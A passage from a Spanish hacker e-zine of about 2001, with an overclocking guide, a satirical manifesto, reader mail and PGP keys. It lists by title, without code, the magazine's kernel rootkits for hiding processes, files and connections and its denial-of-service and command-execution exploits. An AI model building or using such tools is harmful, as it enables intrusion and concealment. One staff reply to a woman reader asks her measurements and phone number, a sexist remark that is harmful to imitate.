electromigración que consiste en una reordenación de los átomos debido al
paso de la electricidad, es decir que los circuitos eléctricos se ven dañados
por el paso de los electrones.
Finalizar diciendo que el overclocking no es ilegal (por si alguno se lo ha
preguntado ya :P) ya que los componentes que manipulamos lo hemos adquirido,
son de nuestra propiedad y podemos hacer con ellos lo que queramos, pero ojo!
porque lo que si perderemos es la garantía :(
-------------------------------
--OVERCLOCKING DEL PROCESADOR--
-------------------------------
Antes de empezar diremos que hay dos formas de forzar nuestro procesador, una
es subiendo el bus del sistema y la otra es subiendo el multiplicador,
evidentemente esto es así porque la velocidad del procesador depende de estos
dos parámetros (uuu menos mal que lo he aclarado xD).
-->Subiendo el multiplicador: Variando este parámetro solo conseguimos
aumentar la velocidad del procesador con lo cuál el resto del sistema no se
ve forzado. Sin embargo este método solo nos valdrá en procesadores
antiguos (si, si ya ves un pentium classic ya es antiguo xD) ya que los
nuevos procesadores (y otros no tan nuevos) tienen el multiplicador fijado
con lo cuál solamente nos quedal la posibilidad de subir el bus del
sistema o bin quitar está protección (AMD roolz). De todos modos en
internet puedes encontrar mucha información sobre tu procesador, entre esa
información si el multiplicador está bloqueado y en ese caso si podemos
desbloquearlo y la manera de hacerlo.
-->Subiendo el bus del sistema: Bien, lo primero que hemos de tener presente
a la hora de tocar el bus del sistema es que no solo estamos aumentando la
velocidad del procesador sino la de todo el sistema. Aquí es donde juega
un papel importante la placa, es conveniente que nuestra placa nos permita
frecuencias intermedias entre las "standard" 66, 100 y 133 Mhz ya que sino
el overclocking se complica.
Como he dicho antes si subimos la velocidad del bus del sistema estamos
forzando el resto del componentes, esto lo vemos perfectamente reflejados
en esta tabla:
Bus del sistema:66Mhz
Bus Agp: 66Mhz--> 1/1
Bus PCI: 33Mhz--> 1/2 del bus del sistema
Bus Isa: 8Mhz--> 1/8 del bus del sistema
Bus Eide (Hdd) 33Mhz--> 1/2 del bus del sistema
Bus Usb: 48Mhz --> Fijo
Bus del sistema: 100Mhz
Bus Agp: 66Mhz --> 2/3 del bus del sistema
Bus PCI: 33Mhz --> 1/3 del bus del sistema
Bus Isa: 8Mhz --> 1/12 del bus del sistema
Bus Eide (Hdd): 33Mhz --> 2/3 del bus del sistema
Bus Usb: 48Mhz --> Fijo
Bus del sistema: 133Mhz
Bus Agp: 66Mhz --> 1/2 del bus del sistema
Bus Pci: 33Mhz --> 1/4 del bus del sistema
Bus Isa: 8Mhz --> 1/16 del bus del sistema
Bus Eide (Hdd): 33Mhz --> 1/4 del bus del sistema
Bus Usb: 48Mhz --> Fijo
Con lo cuál ojo! pq no solo estamos subiendo la velocidad del procesador y es
importante subir poco a poco para comprobar que el resto de componentes
soportan las nuevas frecuencias. Eso si como ya habrás imaginado aumentar la
frecuencia del sistema no quiere decir solo mayor rendimiento del procesador
sino del sistema en general ;P
-->Subir el voltaje: En más de una ocasión nos encontraremos con que el micro
se vuelve inestable al forzarlo, para hacer el sistema inestable deberemos
subir el voltaje, con lo cuál sobrealimentamos el micro, con lo cuál lo
calentamos más, con lo cuál y nuevamente ¡OJO CON LA TEMPERATURA!. Así pues,
si decidís subir el voltaje es aconsejable que se haga y teniendo como límite
recomendable 0.4 v por encima del voltaje normal.
------------------------------------------
--¿¿INESTABLE DESPUÉS DEL OVERCLOCKING??--
------------------------------------------
Vamos a ver en este apartado las razones por la que nuestro sistema se puede
haber vuelto inestable después de haber intentado un overclocking:
-----HEMOS SUBIDO EL BUS DEL SISTEMA
Como ya hemos dicho antes si subimos el bus del sistema estamos forzando
muchos componentes y el fallo puede tener varias razones:
-->Procesador: Si aqui esta el fallo puede ser debido a dos razones que son
demasiada frecuencia en el core o bien demasiada frecuencia en la cache de
segundo nivel, para comprobarlo prueba a desactivar la cache de segundo
nivel desde la bios, si al arrancarlo el sistema es estable es eso lo que
falla y llegados a este punto, pues lo mejor es bajar la velocidad :(, si
lo que falla por el contrario es el exceso de frecuencia en el core lo
podemos solucionar subiendo el voltaje (¡atención, antes ya hemos
comentado como hacer esto!). Una tercera razón sería que la temperatura es
demasiado alta, esto no tendria que pasar si has ido controlando la
temperatura, pero bueno en este caso tenemos que mejorar la refrigeración
del micro.
-->Memoria: Si es la memoria lo que produce la inestabilidad podemos probar a
subir la latencia desde la bios, incluso hay placas que permiten bajar la
velocidad de la memoria 33 Mhz.
-->Targeta AGP: Si aqui está el fallo desde la bios podemos probar a
desactivar el modo agp2x o agp4x (dependiendo de q tengamos) o anular el
sidebang adressing.
-->El disco duro: Podemos arreglarlo desactivando el modo ULTRADMA lo cuál
repercutirá en el rendimiento de nuestro disco duro :(
-->El chipset: Por ahi he leído que el chipset también puede ser el causante
de que nuestro sistema sea inestable, cosa que solucionan subiendo el
vcore VIO y metiéndole un disipador.
-----HEMOS SUBIDO EL MULTIPLICADOR
En este caso lo único que puede fallar es el procesador y en ese caso pues ya
sabemos que hacer, mejorar su refrigeración y probar a subir el voltaje.
-----------------
--REFRIGERACIÓN--
-----------------
Bueno como el lector que haya llegado hasta aquí ya habrá entendido es muy
importante para el overclocking la refrigeración tanto del micro como de la
caja. Vamos a tratar en este punto este tema.
--> Refrigerando el procesador. Es importante una buena refrigeración del
micro evitando asi un sistema inestable o incluso que el micro se queme.
Como referencia podemos decir que la temperatura del procesador no
debería pasar nunca de los 60-65ºC, considerándose estas temperaturas muy
altas. Para conseguirlo, vamos a explicar, la refrigeración mediante el
sistema disipador/ventilador. Como ya habras supuesto este sistema se
basa en dos componentes:
--El disipador: Sirver para disipar (jodo que explicación :P) la calor
que produce el micro. A la hora de adquirir un disipador hemos de tener
en cuentas diferentes aspectos como:
-El material del disipador: nos hemos de fijar en la conductividad
(sobretodo para focos de calor variables) y el calor específico del
material (sobretodo para focos de calor fijos)
-El método de fabricación: Siendo recomendable el forjado frío, el
fresado o el laminado en vez de la extrusión (por otra parte el método
más utilizado).
-La superfície: Cuánto más superfície tenga el disipador mayor
intercambio térmico con el aire.
-El tamaño: Cuánto más grande más tardara en calentarse, es apropiado q
el tamaño sea grande sobretodo si el micro está sometido a variaciones
térmicas.
-Heat Pipes: Como lo que pretendemos es disipar el calor rápidamente se
usa convección para hacerlo, metiendo una cámara de gas en el interior
y por convección logramos que el calor se reparta por la superfície de
la cámara.
-Por último es muy importante la superfície de contacto entre el disipa
y el micro, cuánto mayor sea mayor sera la cantidad de calor que ceda
el micro al disipador. Podemos conseguir una gran superfície de
contacto gracias a la silicona para semiconducteres.
--El ventilador: Gracias al uso del ventilador la refrigeración pasará a
ser activa, realizando estos una convección forzada sobre el disipador.
Que esta convección sea más o menos efectiva depende de tres parámetros:
-El caudal: o sea se la cantidad de aire por unidad de tiempo que pasa
por el ventilador.
-La superfície de intercambio: pues cuánto mayor sea mejor para
conseguir así evacuar más calor.
-Las turbulencias: que aumentan el rozamiento con el disipador mejorando
sus prestaciones. Así pues evidentemente un ventilador será mejor
cuánto más alto sea y más diámetro útil tenga, cuánto más vueltas de
por unidad de tiempo y cuánto más aire mueva. Estas son las
características que tenemos q buscar a la hora de buscar un ventilador
(podemos conseguir mayor número de vueltas por unidad de tiempo
dependiendo del voltaje a que sometamos el ventilador ;P).
-->Refrigerando la caja. Es también muy importante para el overclocking
una adecuada refrigeración de la caja consiguiendo así una temperatura
óptima para los diferentes componentes del ordenador. Aquí simplemente
diré que algunas formas de mejorar la refrigeración de la caja pueden
ser:
-Dejar la caja abierta. Esto no es ninguna teoria, el echo de tener la
caja abierta hace que la temperatura del interior, evidentemente
descienda unos cuántos grados.
-El mejor modo de mejorar la ventilación de la caja, sin embargo, es
mediante una entrada de flujo de aire por la parte inferior de la caja
(esto es, colocar ventiladores que introduzcan aire por la parte
inferior) y una salida del flujo de aire por la parte superior de la
caja (esto es, colocar ventiladores que saquen aire por la parte
superior de la caja) de forma q el aire q introducimos va desde la
parte inferior hasta la superior refrigerando los diferentes
componentes a medida q se calienta y es extraído por la parte superior.
La mejor forma de hacer esto es teniendo en cuenta q lo más adecuado
es q por cada ventilador introduciendo aire hay q tener un ventilador
extrayendo aire.
-Otros aspectos a tener en cuenta a la hora de mejorar la refrigeración
de la caja es que es recomendable q en el interior los cables no esten
sueltos formando un tremendo lío, lo cuál mejorará el flujo de aire en
el interior, es recomendable q la fuente de alimentación, por ejemplo,
no tenga el ventilador sobre el procesador e introduzca aire sino q lo
extraiga, etc, etc.
--------------
--¿Y YA ESTÁ--
--------------
Porsupuesto que no, para nada, como he dicho antes este artículo solo
pretendía ser una introducción al overclocking, hay muchos temas q no se han
tratado como por ejemplo subir el voltaje de los ventiladores, la
refrigeración por agua, las técnicas para desbloquear el multiplicador de los
nuevos micros y un largo etcétera de técnicas y trucos para mejorar nuestra
máquina. Para meterse en el mundo del overclocking se invita al lector a
visitar los links del final :)
--------------
--UN EJEMPLO--
--------------
Pues eso, como todo no iba a ser teoria, ahora vamos a ver un ejemplo de
overclocking real (uauuu XD), en este caso de una targeta gráfica, de una
vodoo banshee.
A la hora de mejorar nuestra targeta gráfica hemos de tener en cuenta que para
hacerlo podemos subir tanto la velocidad del chip como la velocidad de la
memoria. Lo mejor es subir ambas, ir combinando las velocidades y no solo
subir el chip o la memoria :).
Decir que el overclocking de las targetas gráficas se hace mediante software,
es decir, se suben los parámetros con un programa así que vamos allá.
Lo primero es mejorar la refrigeración de la targeta gráfica, ya que al
subirla inevitablemente se va a calentar para hacerlo quitamos el pequeño
disipador que trae y limpiamos la superfície del chip con un algodón
humedecido (con alcohol). Ahora le colocamos un disipador-ventilador de
socket 370 baratito que había por ahí, para colocarlo utilizamos una fina
capa de silicona para semiconductores y un poco de cuerda (si si, un poco de
cuerda, pasa algo? xD yo también estoy empezando), pero mejor mira las fotos
para ver como queda:
foto1
foto2
Ahora la colocamos en la caja y nos fijamos en que hemos perdido dos ranuras
pci :( pero bueno tampoco me hacen fata así que en este caso todo va bien :)
y colocamos un ventilador que le da aire a la targeta de 8 cm (de esos para
refrigerar la caja ;) ) y la cosa queda más o menos así.
foto3
foto4
Vaya chapuza ¿no? :P
Pero ahora medimos temperaturas y vayaaa hemos bajado la temperatura del
chip 20ºC y la de la memoria 10.5ºC. Pues no está nada mal ¿no? :)
Pues nada ahora vamos a ver hasta donde llega la targeta. Mi vodoo banshee
(de maxi gamer) por defecto tiene la velocidad tanto del chip como de la
memoria a 100 Mhz.
Pues nada instalamos el software que vamos a utilizar para subir la velocidad
de ambos parámetros, en este caso hemos utilizado V.Control version 1.30
beta. Aqui teneis una captura.
foto5
Empezamos y la targeta llega hasta 120 de chip y 120 memoria (hasta aqui
hemos llegado en intervalos de 5 Mhz subiendo primero el chip y luego la
memoria), a partir de ahi se bloquea cuándo empezamos a cargar un poco el
sistema gráfico, y no digamos si se intenta jugar al quake III :P así que
bajamos la velocidad tanto del chip como de la memoria a 117 y la cosa mejora
pero tras un rato de quake III falla, así que la bajamos un poco mas 115 Mhz
para el chip y la memoria y ahora si es estable como una roca, ni el
quake III puede con nosotros :). Así que decido estrujarla un poco y subo el
chip a 117 Mhz dejando la memoria a 115 Mhz pero tras un buen rato de
quake III falla así que para asegurar dejamos tanto el chip como el micro a
115 Mhz, vaya pues no está mal del todo 15 Mhz más de chip y de memoria.
Al mejorar el sistema gráfico hemos de tener en cuenta que aumentamos el
rendimiento del sistema a la hora de jugar y el rendimiento del sistema
globalmente también, ya que como imaginaréis si tengo una vodoo banshee estoy
utilizando un entorno gráfico :)
---------
--LINKS--
---------
Bueno pues como os imaginareis todo esto no ha salido de mi cabeza, sino que
es una pequeña introducción que ha salido después de leer páginas como las
siguientes, en las que encontrareis lo que hemos expuesto aqui y muchísimo
más :)
-Inglés
http://www.7volts.com
http://www.athlonoc.com
http://www.tomshardware.com
http://www.overclockers.com
http://www.overclockercafe.com
http://www.guru3d.com
-Español
http://www.rittercorp.cl
http://www.combustion.cjb.net
http://www.occomp.cl
http://www.enxebre.es/hardware
http://www.quakim.com
http://www.ngasis.com
http://www.geocities.com/ocbyshook
NOTA DEL EDITOR: Las fotos mencionadas durante el articulo podran ser vistas
en la pagina de IReick.
http://ireick.7a69ezine.org
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
---/ 8 /--/ El manifiesto del lamer /--/ ^Se7eN^ /-----------------------------
-------------------------------------------------------------------------------
Hoy han vuelto a mencionarme.
"El gran hacker ha vuelto ha hacer un take"
"El hace siempre lo que quiere, ¡es el jefe de aqui!"
Malditos estupidos. ¿Creen de verdad que pueden ir en contra mia?
¿Te has preguntado alguna vez que le pasa por la cabeza a un lamer?. Soy
un lamer entra en mi mundo.
Mi mundo empieza en el irc. He cambiado el nombre a mi script de mIRC y
todos creen que lo he programado desde cero. Ademas, he instalado winlinux que
solo uso para que todos crean que de verdad soy un lince en este mundo.
Aprendi a usar el smurf; pobre de aquel que me mande un dcc. Tambien se
programar, copiando y pegando codigo java que encontre por ahi he hecho que mi
pagina sea mucho mas vistosa.
He descubierto algo. Creo que todo el mundo en el chat me admira. Llevo
tanto tiempo aqui que todos me han visto de operador y por eso siempre me
suben. Soy un super hacker del hispano. Los que se conectan a otras redes son
un os inutiles y les hago un gran favor con mi presencia. Tienen mucha suerte
de tener a un verdadero elite del hispano a su lado.
Soy todopoderoso. Puedo expulsarte de la comunidad hacker univers si
se me antoja. Llevo tanto tiempo aqui que todos me temen. Bueno, casi todos.
He conseguido hacerme amigo de aquellos que realmente dominan este campo. De
ese modo tengo las espaldas cubiertas.
No te atrevas a quitar un ban que yo he puesto porque soy mejor que tu,
no oses a echarme en cara nada porque soy un Gurz. No se nada de hacking pero
todo el mundo me tiene miedo ¿Crees que eso lo podria conseguir alguien que no
sea un genio?
Me gusta aparentar aquello que no soy. Me hace sentir mejor que todos
me adulen. He conseguido ser alguien importante. ¿Que piensa ahora la sociedad
que me ha rechazado durante todos estos años?
Si, soy un criminal. Mi crimen es ser egocentrico. ¿Y que?, ¿Quien puede
pararme?, ?Quien osara a desafiarme?, ¿Acaso ha existido alguna vez un Dios
mayor que yo?.
Podeis intentar pararme, pero ya tengo amigos en todas partes. Ellos me
apoyaran porque los muy ingenuos creen de verdad en mi. Yo soy su Dios y
pronto sere el tuyo. ¿caso crees que no podras sucumbir a mi presencia?
Nota del autor:
Aunque parezca surrealista, este texto está basado en hechos reales. De verdad
hay gente que piensa así, puede que tu conozcas a alguno o incluso puede que
tu seas uno de ellos y ni siquiera lo sepas. Pon remedio a esta situación
cuanto antes. Ya hay demasiados incompetentes en este mundo.
Por supuesto distribuye este texto a quien te venga en gana, siempre y cuando
no cambies ni un solo carácter del mismo :-). Para cualquier crítica,
comentario o lo que sea, tienes el email de abajo.
________________________________________________________________
_____ _____ _ __
se7en@larebelion.com / ___/ ___/__ /___ / | / /
\__ \ / _ \ / // _ \ / |/ /
http://www.hackersterra.cjb.net ___/ // __// // __// /| /
/____/ \___//_/ \___//_/ |_/
____________________________________________________________2001
-------------------------------------------------------------------------------
Bien, ya sabeis que podeis mandarnos un doc, por corto que sea...
staff@7a69ezine.org
*EOF*
-=( 7A69#12 )=--=( art11 )=--=( 7a69Soft )=--=( Varios )=-
Como en cada numero aqui teneis la seccion en la describimos nuestro
software... En este numero, como vereis, viene cargadito :-)
int main() {
read("all");
}
#define PROGRAMAS
#include "7a69Soft/pnc.pl" /*
* TILE: pnc (Perl Netcat)
*
* CODER: Anarion - <anarion@manresa.net>
*
* DESCR: Simil del popular NetCat escrito en
* perl, con soporte de encriptacion
* usando blowfish.
*/
#include "7a69Soft/rhidep.c" /*
* TILE: RhideP
*
* CODER: Ripe - <ripe@7a69ezine.org>
*
* DESCR: Ejemplo que ilustra como ocultar
* procesos en un sistema Linux, con
* un modulo de kernel.
*/
#include "7a69Soft/segadd3.c" /*
* TILE: Segadd3
*
* CODER: Ripe - <ripe@7a69ezine.org>
*
* DESCR: Modulo que se encarga de hacer que
* los usuarios sean capaces de ver
* solo sus procesos.
*/
#include "7a69Soft/rhidef.c" /*
* TILE: RhideF
*
* CODER: Ripe - <ripe@7a69ezine.org>
*
* DESCR: Ilustracion de como ocultar ficheros
* usando un LKM en linux.
*/
#include "7a69Soft/rhides.c" /*
* TILE: RhideS
*
* CODER: Ripe - <ripe@7a69ezine.org>
*
* DESCR: Codigo que ilustra la posiblidad de
* ocultar modos promiscuos en las
* interfaces de red, usando un kernel
* module.
*/
#include "7a69Soft/evadelog.c" /*
* TILE: EvadeLog
*
* CODER: Ripe - <ripe@7a69ezine.org>
*
* DESCR: Demuestra la posiblidad de evitar
* ser logeado en un sistema usando
* un LKM.
*/
#include "7a69Soft/netstatfuck.c" /*
* TILE: NetstatFuck
*
* CODER: Ripe - <ripe@7a69ezine.org>
*
* DESCR: LKM que se encarga de ocultar
* conexiones en un sistema.
*/
#include "7a69Soft/exec_redir.c" /*
* TILE: ExecRedir
*
* CODER: Ripe - <ripe@7a69ezine.org>
*
* DESCR: Modulo de kernel que permite
* realizar una redireccion de
* ejecuciones.
*/
#include "7a69Soft/modprotect.c" /*
* TILE: ModProtect
*
* CODER: Ripe - <ripe@7a69ezine.org>
*
* DESCR: LKM que añade segurirad al kernel
* avitanda la carga/descarga de
* modulos sin autorizacion.
*/
#define EXPLOITS/DOS
#include "7a69Soft/DoSktop.c" /*
* TILE: Remote Desktop DoS for LiNUX
*
* CODER: Tahum - <tahum@7a69ezine.org>
*
* DESCR: El nombre lo dice todo. Un Denial
* of Service para el Remote Desktop.
*/
#include "7a69Soft/KerbeDoS.c" /*
* TILE: Windows 2000 Kerberos DoS exploit
*
* CODER: Tahum - <tahum@7a69ezine.org>
*
* DESCR: Denial of Service para Kerberos
* de Win2k.
*/
#include "7a69Soft/SharingDos.c" /*
* TILE: MacOS 9 Web Sharing Remote DoS
*
* CODER: Tahum - <tahum@7a69ezine.org>
*
* DESCR: DoS para el Personal Web Sharing
* de MacOS 9.
*/
#include "7a69Soft/WebDoS.c" /*
* TILE: IIS WebDav
*
* CODER: Tahum - <tahum@7a69ezine.org>
*
* DESCR: Denial of Service que afecta a
* IIS WebDav. WoW!
*/
#include "7a69Soft/bug-commerce.c" /*
* TILE: Carello E-Commerce exploit
*
* CODER: Tahum - <tahum@7a69ezine.org>
*
* DESCR: Exploit para Carello E-Commerce
* que permite la ejecucion de
* comandos arbitrarios.
*/
#include "7a69Soft/cyrixplof.c" /*
* TILE: CYRIX
CHAT DAEMON 0.5 DoS
*
* CODER: IReick - <ireick@7a69ezine.org>
*
* DESCR: Denial of Service que afecta a la
* version 0.5 de CYRIX CHAT DAEMON.
*/
#include "7a69Soft/xfs.c" /*
* TILE: DoS for xfs < 4.0.1
*
* CODER: Trycky - <trycky@7a69ezine.org>
*
* DESCR: DoS que afecta a las versiones
* de xfs inferiores a 4.0.1.
*/
#include "7a69Soft/fancyxpl.c" /* TILE: fancylogin 0.99.7 exploit
*
* CODER: Ripe - <ripe@7a69ezine.org>
*
* DESCR: Buffer overflow en algunos de
* los parametros pasados a
* fancylogin. Solo explotable
* localmente.
*/
*EOF*
-=( 7A69#12 )=--=( art12 )=--=( Correo del lector... )=--=( Staff )=-
Nuevamente, y como en cada numero podras leer aqui los e-mails que nos llegan,
aun que esta vez no estan todos, por un pequeño cambio de politica. Apartir
de ahora los mails chorra, chorra (pero chorra de verdad) vamos a sudar
de ponerlos, pues esta seccion no pretende ser una seccion de humos (aunque
a veces nos obligais a que lo sea). ¿Que quiero decir con esto? Pues que antes
de mandar mails chorras, preguntando cosas estilo "como puedo ser hacker?",
"podeis ayudarme a hackear tal...", etc. os lo penseis dos veces. Es
realmente desesperante que nosotros nos intentemos currar articulos de
interes para recivir correo de ese tipo, si lo que pretendeis con ello es
dar la nota, que sepais que apartir de ahora no va a ser asi, pues no vamos
a publicar mails de ese estilo. Dicho esto, me gustaria agradecer a todos
los que dais palabras de animo, ya sea por mail, via irc, o lo que sea, y
animaros a engordar un poco esta seccion con preguntas mas o menos tecnicas.
Ya sabeis que aqui estamos para responder, siempre y cuando la pregunta sea
coherente y sepamos la respuesta :)
Vayamos ya con el correo....
-------------------------------------------------------------------------------
---/ 0x01 /--------------------------------------------------------------------
-------------------------------------------------------------------------------
Hola.
Tengo un pequeño problema, y no se si me
podreis ayudar. Resulta que me he puesto
linux, pero tengo un winmodem de esos que
son una mierda porque solo funcionan en
windows, o eso creia yo, porque el otro
dia, en el chat de terra me dijeron que
si se podia con un programa especial, pero
no me dijeron de donde sacarlo. Sabis
vosotros donde puedo conseguir el programa
especial? Gracias por adelantado.
[EL problema de los winmodems es que
realizan una gran parte del trabajo
por software, lo que hace que el
rendimiento sea menor, y que ademas
su funcionamiento dependa ampliamente
del software. Tecnicamente deberia
ser posible hacer funcionar este tipo
de modems en linux, de echo hace ya
bastante que ha aparecido el proyecto
LinModems, que pretende, precisamente
fomentar la creacion de drivers para
hacer rular los llamados WinModems en
linux. Si quieres mas informacion te
remito a si sitio web, en el que
posiblemente encuentres los drivers
necesarios para poder navegar en linux
http://www.linmodems.org]
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
---/0x02/----------------------------------------------------------------------
-------------------------------------------------------------------------------
Que tal majetes? Soy una chica hacker (si,
una chica, que raro no? jejejeje).
[Nombre? Edad? Medidas? Numero de
telefono? Nunca he salido con una
chica hackers... estaries dispuesta?]
bueno aun no soy hacker creo, pero algun dia lo
sere, jejejejeje.
[Vaya... ahora resulta que no eres
hacker aun... na, lo que si eres es
una chica muy bien humorada... te
gusta reir y tal, por lo que veo]
me gustaria que me hicieran un texto de como
van los exploits, porque he leido que van
muy bien para hackear pero yo no se como
funcionan.
[Bueno, hay un articulo en 7a69 de
buffers overflow... has probado de
leerlo? :)]
ah por cierto, uso redhat 7.
[Una recomendacion... pasate a Debian]
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
---/0x03/----------------------------------------------------------------------
-------------------------------------------------------------------------------
Somos un grupo de hackers (SHE- Super Hackers
Españoles) y quisieramos deciros que estamos
a vuestra disposicion. Somos 6 miembros y nos
gustaris entrar en 7a69 para ayudaros en todo
lo que sea necesario. Aun no tenemos pagina
web, cuando la tengamos os avisamos ¿ok?
[Quereis uniros a nustro staff asi
por el morro? Y eso? Bueno bueno,
tranquilos, que lo propondre en la
proxima reunion.
Por la pagina web no os apureis, ya
nos la direis cuando seais de nuestro
staff]
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
---/0x04/----------------------------------------------------------------------
-------------------------------------------------------------------------------
Juan Cxxxxx Lxxxxx
Desde muy pequeño me he intresado por el
mundillo informatico por el que os moveis,
habia estado buscando por internet iformacion
sobre los hackers y practicamente siempre
encontraba los mismos textos idiotas.
[Es una pena, pero si pones "hack" en
un buscador no encuentras mas que
basura... Los creadores de este tipo
de webs se copian los unos a los otros,
y es por ello que en todas hay lo
mismo... Bien, he de decir que no
todas las webs de hack son asi, pero
el buscador no sabe decidir cuales son
las mejores :)]
Un dia vi una noticia que hablaba de vosotros
en barrapunto y me lleve una muy grata
sorpresa.
[Hehehe. Si fue por nuestro aniversario
si mal no recuerdo. Me alegro que te
fuera grata la sorpresa... hehehe]
Creo que poseeis la pagina web con mejor
informacion de las que he visitado, llevo
algo mas de un mes de lectura de vuestra
publicacion y he aprendido muchisimo.
[Ya me siento un poco mas util. Fuera
coñas, esta es nuestra intencion la
de hacer que quien quiera aprender
pueda hacerlo]
Este emilio, tenia la unica intencion de
dar animos a la gente que lo curra y tambien
agradecer que os lo curreis, claro. Seguid
asi.
[A ver si recivimos mas emilios como
este, que nos da muchos animos para
seguir]
Debian & Win98SE
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
---/0x05/----------------------------------------------------------------------
-------------------------------------------------------------------------------
HOLA! MI NICK ES ST4TUA I ME GUSTA MUCHO
EL MUNDO DEL HACK Y EL PREHACK. ME GUSTARIA
QUE ME DIJERAN COMO PUEDO LLAMAR GRATIS.
[Este es un claro ejemplo de emails que
seran filtrados... hemos puesto este,
para que veais lo que no se debe hacer]
[Para llamar gratis lo mejor es cometer
un delito... antes de meterte entre
rejas, te dejaran hacer una llamada
QUE NO TENDRAS QUE PAGAR, animo! puedes
lograrlo]
-------------------------------------------------------------------------------
Como podeis ver, esta seccion ha quedado algo corta, pues hemos filtrado los
chorra-mails.
Si quereis aparecer aqui, con un e-mail serio, eso si, podeis dirigiros a
nostros mediante:
staff@7a69ezine.org
*EOF*
-=( 7A69#12 )=--=( art13 )=--=( LLaves PGP )=--=( Staff )=-
Visto como esta el panorama actual, desde 7a69 recomendamos el uso de PGP
para el intercambio de correo electronico. Be paranoid. Aqui tienes las
llaves PGP para comunicarte con nosotros.
---[ staff ]---/ staff@7a69ezine.org /---
---[ staff ]---/ staff@7a69ezine.org /---
---[ tuxisuau ]---/ tuxisuau@7a69ezine.org /---
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org
mQGiBDsdZGQRBADCIxNbNFE1VPwpVpx44UzZGdSpwYq2nmSxSyDRR/CnbBdTIc5/
kjzp8byv/ptXvzwo/GWvFG75n3tMFnN6yZbMKS2SvXlhZNx0xlrlOUJqHXik7BPD
K1meOKFZZ9/u/KIbg7ypa7T+/Xiw0RiwennY4pYa1YB6ifrk5G8CWuD5owCguA43
KNDqxlwom2BPdwr/9x/YNbcD/jVKkiqsoIH9HxLs4GjKpoIf2ZXCoYWUaoE2D53c
6t1Nc0UxmWCo31x93LQLWXzQqQE29COplUe25fhdKCiwqPe455DAKRAX4qQTioO4
H3SUQQxp/hPno2k+RKO9njYdmN/Vo6K0Co8ANVXDxWy0I/sOQiy7mZ8+hGml9hUc
PTWyA/4o6OjROkqiO/dEb3VQ6C7gC/7xWP/Vx+UA4MJyUK1cUulsOo8Id7oQc2x5
RUBbOm1bCO4BC0Dg/GDjEcxgV88kpTk6BbFvyyoKOcsrp6zVcVNeZx5hViBrgsQ1
R0oBoNcQrTHVuupYW0WftLuW046Vyp0ovdVEpiCRVTkp5wvJbbQ4dHV4aXN1YXUg
KHR1eGlzdWF1IC8gN2E2OWV6aW5lKSA8dHV4aXN1YXVAN2E2OWV6aW5lLm9yZz6I
VwQTEQIAFwUCOx1kZAULBwoDBAMVAwIDFgIBAheAAAoJEDbTRljVqGsxGEQAmwVZ
edPzqXl94azlj8y4nTc3iDxLAJ95vTe+ojPJCetENoZOsABvJHjj27kBDQQ7HWRn
EAQAyS2+23Z3qaHLtehAAjj8XPYDuUEZhygdN2b1Y5Y1Dx6TcMIWWnPu2i+PTsAU
yoWctY+wq1aqy3fq7QqrJvH0nc0J6v9Hb/UAJWQ0AEYAmS3ltCFSs9XQlnyLxKmt
3XAz8GNkCymBIg9Y8QTL3s6ZmLfyJVt3cuJe57kZWfvbsIsAAwYEAJwT/YyJENDG
oKIYecEcxz9fBzE9tujxn/7BdhQ+P6cNyCMe8RiFGDb9IXYNFGdpnRbjydL3U3Cn
be8xoEjK+wWcj4C9SKw19G/i2mKgZCUKZ8PydwvH5D1KgawNsc3Y4VSDItNVWzKa
rq4/z3K+xwUzKtlA0ToXWQkmTVihGC0JiEYEGBECAAYFAjsdZGcACgkQNtNGWNWo
azG3+QCgjBUVr0bdUff+BzIjPQhYsirNF+YAoJ18VlkSybzS2Mddn26+7SIntppV
=cCTA
---[ tuxisuau ]---/ tuxisuau@7a69ezine.org /---
---[ ireick ]---/ ireick@7a69ezine.org /---
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: Gnome PGP version 0.4
mQGiBDuzPkkRBADTC8dJqxzpd0Wy6kL106AVPT4KDLqR0yY/vs0Sm0NAOzQuJI1w
GQG2josgN91azF1UirPbDRMK6EY1VEQGqhZ3lutCoa5w3tGbhiqmozXQieLItL41
lSNp/8A9vtelvAK75ctKzO5exLSUe0mKwiAUgqWvZmMa577IoGiYA8Ab/wCgvlfr
3Vke9N1RSJo3BSY1aT9GdSkD/2ER7dEiN5I0Oav8p/PLmP3N7CfTMhebvN5YyLcL
0bOUfgX7S8D9mP28Lmi3rU10GcPNMm3Ovr4HhBBet7lPabUeqrxtsYefNbo5u8pT
c5yg5g3GA9fW4WN+qQN0Hvw4tBUnxrI6WrjI5VAdbpWFDP2Tdjq2DHQRgb9v5Ha7
C/XCA/4xzo7i60GNcZnkUY4EbI5nkF6p92GZw2S3PtjUxUgivT4OlYb2VRzREklf
jjfUOXdQ7qMGDAVPucLZpvpYN0yVR1qhJa+TJYrAwyuzw/CbR/X8r1vCGBAHHbxf
NJ9XdPaUqVu4BE08YG3zhHfIWHWuwB0S8MSaIlqop0JP7HI2ubQdaXJlaWNrIDxp
cmVpY2tAN2E2OWV6aW5lLm9yZz6IVwQTEQIAFwUCO7M+SQULBwoDBAMVAwIDFgIB
AheAAAoJECWqUFPmUg390wkAnjl4kWxIUlhkGHmAQuZt5QJVWaY/AJ0Ta7GJpmVQ
CpnT21Gzfqy1XYJ0DbkBDQQ7sz5MEAQA4N13LoE096UV+C76YkPSTJLActiN5qqu
9aAZlsG64Ir/VOXa5nsZN0O3Tx5SRxTlGq7L4Y6l9P5rmsGtYJpHWoZFaEx3EBpn
ucreSzna1m834miJxK1QXEk9W8V0XnTBsS+ZAxkH1DiTzDeLbUHvrBihUV1simyJ
eIc9j/YJiZ8ABAsD/jl7vW3EFaufbunpnfFBXE+rUFdCqRMwYaLQkfUFD5zP/b6u
lQV8op2aGslOaBzWV2X7OFdtY8fdjaInvEGMlJwbaKTTaGVRw+6CelV8GBrGkIku
8QGmx5e+AUWeB67FZzdecfu9Mw0gJF+bmky5W5EiFfKDxmHpBtYYlGZBJnkniEYE
GBECAAYFAjuzPkwACgkQJapQU+ZSDf367wCcC7rJw1D6GwXb5XJ7EfavjzV2+hkA
oKum9N9MP/L9DZdpuPvfn29dRq/m
=OeAb
---[ ireick ]---/ ireick@7a69ezine.org /---
Recordamos... Be paranoid.
*EOF*
